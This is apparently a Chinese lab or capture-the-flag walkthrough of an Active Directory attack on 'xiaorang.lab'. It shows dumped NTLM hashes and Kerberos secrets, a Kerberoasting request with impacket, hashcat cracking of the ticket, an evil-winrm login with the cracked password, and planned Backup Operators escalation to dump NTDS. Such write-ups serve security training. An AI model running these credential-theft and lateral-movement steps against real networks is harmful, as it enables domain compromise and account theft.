* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 7898649 (00000000:00788619)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/6/27 19:09:52
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 7897787 (00000000:007882bb)
Session : Interactive from 2
User Name : UMFD-2
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/6/27 19:09:52
SID : S-1-5-96-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : XR-0923$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/6/27 17:42:07
SID : S-1-5-20
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-0923$
* Domain : XIAORANG.LAB
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 32833 (00000000:00008041)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2026/6/27 17:42:07
SID :
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 19734594 (00000000:012d2042)
Session : RemoteInteractive from 3
User Name : test2
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/6/27 21:01:50
SID : S-1-5-21-754105099-1176710061-2177073800-1002
msv :
[00000003] Primary
* Username : test2
* Domain : XR-0923
* NTLM : c780c78872a102256e946b3ad238f661
* SHA1 : bc4e7d2a003b79bb6ffdfff949108220c1fad373
tspkg :
wdigest :
* Username : test2
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : test2
* Domain : XR-0923
* Password : Abcd1234
ssp :
credman :
cloudap :
Authentication Id : 0 ; 19718558 (00000000:012ce19e)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/6/27 21:01:50
SID : S-1-5-96-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 10137495 (00000000:009aaf97)
Session : Interactive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/6/27 19:27:04
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 7939311 (00000000:007924ef)
Session : RemoteInteractive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/6/27 19:09:53
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/6/27 17:42:10
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/6/27 17:42:08
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 64893 (00000000:0000fd7d)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/6/27 17:42:08
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 8519c5a89b2cd4d679a5a36f26863e5d
* SHA1 : 42d8188bc30ff0880b838e368c6e5522b86f978d
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : &H!vqg]om0Iz5Pn1NUGod&R9o /!$EK.?jn06+[J*6oZ\A+H?c2;V\(AgGpKw*f0W\vdUf;QoJ/5#DRZDwR@W5U9Io8`;zE7L":Ay-SKpe#>5S?;IL'HarDD
ssp :
credman :
cloudap :
Authentication Id : 0 ; 64875 (00000000:0000fd6b)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/6/27 17:42:08
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 33948 (00000000:0000849c)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/6/27 17:42:07
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 33914 (00000000:0000847a)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/6/27 17:42:07
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : XR-0923$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/6/27 17:42:07
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-0923$
* Domain : XIAORANG.LAB
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :拿到啦机器账户
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4使用 BloodHound 进行域环境分析：
C:\Users\zhangshuai\SharpHound.exe #最好是以system权限执行，权限越高收集的信息越权（没有高权限时，域用户也行，一般不用administrator权限运行，因为administrator时本地管理员，跟域没关系）
Shortest paths to Domain Admins
TIANJING这个域用户能CanPSRemote域控XR-DC，而且TIANJING这个域用户的节点属性中查看到两个 SPN
这通常意味着该账户被用作服务账户，该账户的密码哈希会被用来加密其服务票据（TGS），任何域用户都可以请求该账户的 TGS 票据并离线破解。这是一个值得深入调查的切入点，最直接相关的攻击手法是Kerberoasting。
SPN攻击
spn
Service Principal Names:
TERMSERV/xr-0923.xiaorang.lab
WWW/xr-0923.xiaorang.lab/IIS因为与SPN攻击最相关的攻击手法是Kerberoasting。
所以使用bloodhound搜索：Kerberoastable members of Tier Zero / High Value groups，显示TIANJING也在里面
使用之前的机器账户，请求 tianjing 这个服务账户的 Kerberos TGS 票据
└─$ proxychains4 -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':acd39ecec89593a07192ce511c8651f1' -dc-ip 172.22.14.11 -request-user tianjing
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------- -------- -------------------------------------------------------- -------------------------- --------- ----------
TERMSERV/xr-0923.xiaorang.lab tianjing CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab 2023-05-30 18:25:11.564883 <never>
WWW/xr-0923.xiaorang.lab/IIS tianjing CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab 2023-05-30 18:25:11.564883 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$4f528b527dd420bbe8b1a311e4a2e597$b64b9005072787eee5ac297afd4d47b1fc6efb98ce02514353cf039736080d91b5bf37de162bb36e67e9c84ba57048e41d8cb3535dd6e1ee31c0832264327927dc4752fb240119695c17d6746994afaa8db4af0e7cb53e7ad9f9c3ed0b7dbf02fb4d84ce5f07c18f2e2ccc8066749ac51d08d7582bf22abd828000ffbb998b2c1f8cb6865ba8e76ad940856a67b97b12bdd798a0a12d0c33cca197ecfb32f48654cbd51d80dc5668f0285124b6989f1ec2b3b267e5887f6082295a1ce3ed262ee43b54b1c58c4782309d50301f6f70d4848735d46b18736672def1f973c331395aa97ed8cabe23e498f6b13c0515bd25f7b092cbd92d77d77f10fcafb108d754c5183c9a1ec90fc8d7fd916e54b4dc13e268701698a93e319f68ccd6d83a9f212bbfa17d5dc8d64b9649dabeeb1f03827eb2a47b4d977ece03962eee35fffd0b0b9fa65df0844c8a95a2a6c96f9af629d168bebb4563b06367faf4088f36dcdea272e1dd5037e4a5b7eaf6717871e2cf6c7ab663e2cc25afc733f5f500324111c4ee2b9c3e312dbe6aa92d01594a91a9c149bf1055cf20f0ce9b637809bb9a5941f2d0cbd3843a47b3e0fd2cd0b8ade84b23f21b0a592362edec139a2711e8ebfef75443e67b07bcb262acd4afde3d41497d1e823a9b8d730b3845135fbb39984dea01e2e77fed2d4ae8d329b6bdf7ab63f951d996068c72a959e7b25398dade0425f404dbb97e49cd67900b47e808a6155b0fe75148459918cfb5b983e1b7ac67000d1463c62d152efef4f4140f68991019c206f6c8cb438f25db28fedcc2cf1065af2b4d06e6645e834dd134f3b582a0a38ec1d69c30df881dc6f95822d7ad053f864aea05944100a19e51ff3deb93be22528887666cbf68a0d16562cfdcbba0a05efb1c659bcf3b9b4d910602dc11210ba48e7a57fe6ff297bda10706565861621e08658c2723389e2e32ede431a0d84bef6feb319cc4b497b3336ac06896c886f189288639033bde530f121c5d25ac45932044ec903d0d3f96e29347a563b2d34314763ed9b343d6acb28a6e0bedb7748d9f499686041ecc16be83ed7891a295cd7455b4825d12eabb0873dd4e3e2b95d40a071619e56c9d47d62de6391b7add62c38a1621a584c49a0cb702ea75786b37690c5e53acddac9f8561ec26f80a0539c392b9bc0a5c5eb5c38d924c2fe3c3719a3baaf2f21caeb85e137ade4229b964463e970e1dbcc5c70c1d8d5c71c3bce2f93c6b8dc276dac10d45db96638f75b8555bd0286cf6413ac02650b4eb2e61fac5d73f15abf8d2391066379fdd366a2df69fd99a3ef8fa09b9c5070176a1e7333873ded9eb12837825752b1c8cebc713af7c61f812a9b26de62bff1be95422a8150c44d63736e83c9faba9514480944f931d7b0b7f227858189ea4c6d2e8c8a18e04e13fda5e2b8947c4c8c9d50db4aaac47672661ac8c156b0de1d395342ca322c2| 字段 | 值 | 解释 |
|---|---|---|
| ServicePrincipalName | TERMSERV/xr-0923.xiaorang.lab 和 WWW/xr-0923.xiaorang.lab/IIS | TIANJING 账户注册的两个 SPN，分别对应远程桌面服务和 IIS Web 服务 |
| Name | tianjing | 该 SPN 关联的用户账户名 |
| MemberOf | CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab | TIANJING 属于 Remote Management Users 内置组，该组允许成员通过 WinRM 远程管理服务器 |
| PasswordLastSet | 2023-05-30 18:25:11.564883 | 密码最后修改时间（距今 3 年以上，极大概率密码未轮换） |
| LastLogon | <never> | TIANJING 从未交互式登录过（仅作为服务账户运行） |
| 字段 | 含义 |
|---|---|
[-] CCache file is not found. Skipping... | 系统未找到 Kerberos 缓存文件（这是正常提示，不影响攻击） |
$krb5tgs$23$ | TGS 票据，使用 RC4-HMAC 加密（23 代表 RC4 加密类型） |
*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing* | 票据主体：用户 tianjing，域 XIAORANG.LAB，SPN xiaorang.lab/tianjing |
$4f528b527dd420bbe8b1a311e4a2e597$b64b90... | 票据密文部分（加密后的 TGS），包含用户密码的 NTLM Hash 作为加密密钥的一部分 |
使用hashcat破解
echo '$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$4f528b527dd420bbe8b1a311e4a2e597$b64b9005072787eee5ac297afd4d47b1fc6efb98ce02514353cf039736080d91b5bf37de162bb36e67e9c84ba57048e41d8cb3535dd6e1ee31c0832264327927dc4752fb240119695c17d6746994afaa8db4af0e7cb53e7ad9f9c3ed0b7dbf02fb4d84ce5f07c18f2e2ccc8066749ac51d08d7582bf22abd828000ffbb998b2c1f8cb6865ba8e76ad940856a67b97b12bdd798a0a12d0c33cca197ecfb32f48654cbd51d80dc5668f0285124b6989f1ec2b3b267e5887f6082295a1ce3ed262ee43b54b1c58c4782309d50301f6f70d4848735d46b18736672def1f973c331395aa97ed8cabe23e498f6b13c0515bd25f7b092cbd92d77d77f10fcafb108d754c5183c9a1ec90fc8d7fd916e54b4dc13e268701698a93e319f68ccd6d83a9f212bbfa17d5dc8d64b9649dabeeb1f03827eb2a47b4d977ece03962eee35fffd0b0b9fa65df0844c8a95a2a6c96f9af629d168bebb4563b06367faf4088f36dcdea272e1dd5037e4a5b7eaf6717871e2cf6c7ab663e2cc25afc733f5f500324111c4ee2b9c3e312dbe6aa92d01594a91a9c149bf1055cf20f0ce9b637809bb9a5941f2d0cbd3843a47b3e0fd2cd0b8ade84b23f21b0a592362edec139a2711e8ebfef75443e67b07bcb262acd4afde3d41497d1e823a9b8d730b3845135fbb39984dea01e2e77fed2d4ae8d329b6bdf7ab63f951d996068c72a959e7b25398dade0425f404dbb97e49cd67900b47e808a6155b0fe75148459918cfb5b983e1b7ac67000d1463c62d152efef4f4140f68991019c206f6c8cb438f25db28fedcc2cf1065af2b4d06e6645e834dd134f3b582a0a38ec1d69c30df881dc6f95822d7ad053f864aea05944100a19e51ff3deb93be22528887666cbf68a0d16562cfdcbba0a05efb1c659bcf3b9b4d910602dc11210ba48e7a57fe6ff297bda10706565861621e08658c2723389e2e32ede431a0d84bef6feb319cc4b497b3336ac06896c886f189288639033bde530f121c5d25ac45932044ec903d0d3f96e29347a563b2d34314763ed9b343d6acb28a6e0bedb7748d9f499686041ecc16be83ed7891a295cd7455b4825d12eabb0873dd4e3e2b95d40a071619e56c9d47d62de6391b7add62c38a1621a584c49a0cb702ea75786b37690c5e53acddac9f8561ec26f80a0539c392b9bc0a5c5eb5c38d924c2fe3c3719a3baaf2f21caeb85e137ade4229b964463e970e1dbcc5c70c1d8d5c71c3bce2f93c6b8dc276dac10d45db96638f75b8555bd0286cf6413ac02650b4eb2e61fac5d73f15abf8d2391066379fdd366a2df69fd99a3ef8fa09b9c5070176a1e7333873ded9eb12837825752b1c8cebc713af7c61f812a9b26de62bff1be95422a8150c44d63736e83c9faba9514480944f931d7b0b7f227858189ea4c6d2e8c8a18e04e13fda5e2b8947c4c8c9d50db4aaac47672661ac8c156b0de1d395342ca322c2' > tianjing_hash.txt
hashcat -m 13100 -a 0 -w 3 tianjing_hash.txt /usr/share/wordlists/rockyou.txt
#-a 0：攻击模式：字典攻击
#-w 3：将 GPU/CPU 性能调至最高，适合在专用破解机器上运行（-w 1 为低，-w 3 为高）
破解后
DPQSXSXgh2evil-winrm上去
└─$ proxychains4 -q evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tianjing\Documents> whoami
xiaorang\tianjing
但是查看不了flag
*Evil-WinRM* PS C:\Users\Administrator\flag> type flag04.txt
Access to the path 'C:\Users\Administrator\flag\flag04.txt' is denied.
At line:1 char:1
+ type flag04.txt
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator\flag\flag04.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommandBloodhound把tianjing添加为拥有
TIANJING还属于BACKUP OPERTORS组，Backup Operators组成员拥有以下两个关键特权
| 特权 | 作用 | 说明 |
|---|---|---|
| SeBackupPrivilege | 备份文件和目录 | 允许成员读取任何文件，用以绕过文件读取权限的检查。打着要备份的幌子 |
| SeRestorePrivilege | 还原文件和目录 | 允许成员写入任何文件，用以绕过文件写入权限的检查，还可以更改文件的所有者。 |
提权——Backup Operators组成员（SeBackupPrivilege特权备份文件（reg save HKLM\SYSTEM system；SeRestorePrivilege特权还原文件导出 ntds）——卷影拷贝
可以进行进行卷影拷贝（Shadow Copy）：
*Evil-WinRM* PS C:\Users\Administrator\flag> whoami /all
用户信息
----------------
用户名 SID
================= =============================================
xiaorang\tianjing S-1-5-21-158000642-3359129478-2926607586-1104
组信息
-----------------
组名 类型 SID 属性
========================================== ====== ============ ==============================
